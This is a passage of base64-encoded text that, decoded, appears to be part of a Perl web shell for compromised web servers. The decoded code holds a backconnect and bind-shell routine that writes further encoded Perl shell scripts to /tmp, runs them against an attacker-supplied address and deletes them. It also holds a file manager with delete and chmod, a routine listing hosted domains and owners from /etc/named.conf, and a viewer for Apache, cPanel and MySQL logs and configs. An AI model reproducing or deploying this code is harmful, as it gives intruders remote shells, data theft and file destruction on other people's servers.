IxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPg0KDQoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4NCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIFNvY2tldDsJDQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOw0KCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7DQoNCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9Ow0KCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsNCglpZigkQ2xpZW50UG9ydCBlcSAwKQ0KCXsNCgkJcmV0dXJuICZCYWNrQmluZEZvcm07DQoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsNCgkJaWYoLXcgIi90bXAvIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9ZWxzZQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOw0KCQlpZigtdyAiL3RtcCIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSbURpcigkKSANCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJaWYob3BlbmRpcihESVIsJGRpcikpDQoJew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQ0KCQkJew0KCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOw0KCQkJCWlmKC1kICRmaWxlKQ0KCQkJCXsNCgkJCQkJJlJtRGlyKCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdW5saW5rKCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoRElSKTsNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgIiRmaWxlIjsNCgl9DQoJcmV0dXJuICIwIjsNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgVHJpbVNsYXNoZXMoJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOw0KCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4NCgkJPHRoIHdpZHRoPScxMDAnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJub3RsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCW5leHQ7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJbXkgJGFjdGlvbiA9IGVuY29kZV9iYXNlNjQoImVkaXQgIi4kZmlsZSk7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkMG1haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGgzPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNGRjAwMDA7Jz5Eb21haW4gKyBVc2VyPC9mb250PjwvaDM+IjsNCglpZiAoJGVycikNCgl7DQoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOw0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAnPHRhYmxlIGlkPSJkb21haW4iPjx0cj48dGg+ZDBtYWluczwvdGg+IDx0aD5Vc2VyPC90aD48L3RyPic7DQoJfQ0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpDQoJew0KCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQ0KCQl7CQ0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBzdHlsZT0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiQxLiciIHRhcmdldD0iX2JsYW5rIj4nLiQxLic8L2E+PC90ZD48dGQ+ICcuJG93bmVyLic8L3RkPjwvdHI+JzsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICc8L3RhYmxlPic7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFZpZXcgTG9nDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0xvZw0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjRkYwMDAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLA0KCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsDQoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLA0KCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywNCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywNCgkJCScvdmFyL215c3FsLmxvZycsDQoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215c3FsL215LmNuZicsDQoJCQknL2V0Yy9teS5jbmYnLA0KCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC1yICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwM